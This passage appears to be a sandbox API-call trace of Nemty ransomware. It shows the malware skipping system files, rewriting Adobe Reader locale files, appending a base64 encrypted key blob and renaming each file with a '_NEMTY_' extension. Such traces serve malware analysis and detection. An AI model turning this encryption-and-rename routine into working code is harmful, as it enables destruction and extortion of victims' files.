CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.119] Sleep (dwMilliseconds=0x5) [0182.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x203419d0, dwHighDateTime=0x1d561e8)) [0182.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x203419d0, dwHighDateTime=0x1d561e8)) [0182.128] GetLastError () returned 0x12 [0182.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.128] GetLastError () returned 0x12 [0182.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.128] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.129] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="guvEk620UZFZuXoxrDr49+P/GRdAERlXwSKPMJTMInPepJdsGlFVhH6c2spgSxpM\r\nA+hePu7uXmmyVxRFsmYsZSoETl0v8qrqQ/YofmVMSqUU6takhRy77XOYHuC/WENa\r\n7UIjbP2GC6PS8CBfTEWt8wo7nvF3PgEn13Fa1gJzCgktUpwETcyQ8dquuzROYOQm\r\nu87/CXdlfjNB7mLzBIuOTAw0/8wL56ugYmtV3GorwEIDazgU2CyROMDwCGXfynes\r\nBfzarOUAAVqYvhrL/8WJ+hQ/WzxMnbYPcHvxScC5n6ItHpGU/dz+7n8j4cEW8YM5\r\nxtsrNDZjPMxYrMhyyKu6VQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Spelling.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\spelling.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.129] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0182.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0182.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.129] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0182.132] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.132] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0182.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.132] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0182.132] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.132] CloseHandle (hObject=0x2e8) returned 1 [0182.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.132] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Spelling.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\spelling.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Spelling.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\spelling.ptb._nemty_kgobjgd_")) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.133] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.PTB", cAlternateFileName="")) returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2=".") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="..") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="...") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="windows") returned -1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="rsa") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="NTDETECT.COM") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="ntldr") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="MSDOS.SYS") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="IO.SYS") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="boot.ini") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="boot.ini") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="ntuser.dat") returned 1 [0182.133] lstrcmpiW (lpString1="updater.PTB", lpString2="desktop.ini") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="CONFIG.SYS") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="RECYCLER") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="bootmgr") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="programdata") returned 1 [0182.134] lstrcmpiW (lpString1="updater.PTB", lpString2="appdata") returned 1 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.134] Sleep (dwMilliseconds=0x5) [0182.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20367b30, dwHighDateTime=0x1d561e8)) [0182.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20367b30, dwHighDateTime=0x1d561e8)) [0182.143] GetLastError () returned 0x0 [0182.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.143] GetLastError () returned 0x0 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.144] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.144] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.144] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.144] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="iV+IgEtbhzRzLKdv5hTv1uy3bF6ymPLosvh2R1Hv9sj4XRKCQvTtRSSgYBSLFnHy\r\nA23QohVPEQNek0qbZMair4iM1YHD4mmvRxND5kS9YZbi55Pcw/yRC4Bb/tBASwy2\r\nm8F3MBt1smcMwGobYWUDJu9FPqe0rZ2V/ZSl9KyEIO3dXQlkisIRyclTC6QtXXlX\r\njT9cs5bh8eHqt12d2plxl6NeMFvkV+0RmRtxYforJcG74hIOooCe2NQEmvFOsbU1\r\ngHHbQUQiGreB2Bzy/zyZNtJ6qFYY+M2v6q0cLHRJJjcVbCPXr1tcEoaLD7aWHLPh\r\nSR/9a9DXkZ826KySDuEoKA==\r\n", pcchString=0x653e5dc) returned 1 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\updater.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\updater.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.144] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0182.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0182.144] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.145] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0182.147] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.147] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0182.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.147] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0182.147] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.147] CloseHandle (hObject=0x2e8) returned 1 [0182.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.147] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\updater.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\updater.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\updater.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\updater.ptb._nemty_kgobjgd_")) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.148] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.PTB", cAlternateFileName="")) returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2=".") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="..") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="...") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="windows") returned -1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="rsa") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="NTDETECT.COM") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="ntldr") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="MSDOS.SYS") returned 1 [0182.148] lstrcmpiW (lpString1="Weblink.PTB", lpString2="IO.SYS") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="boot.ini") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="boot.ini") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="ntuser.dat") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="desktop.ini") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="CONFIG.SYS") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="RECYCLER") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="bootmgr") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="programdata") returned 1 [0182.149] lstrcmpiW (lpString1="Weblink.PTB", lpString2="appdata") returned 1 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x0, 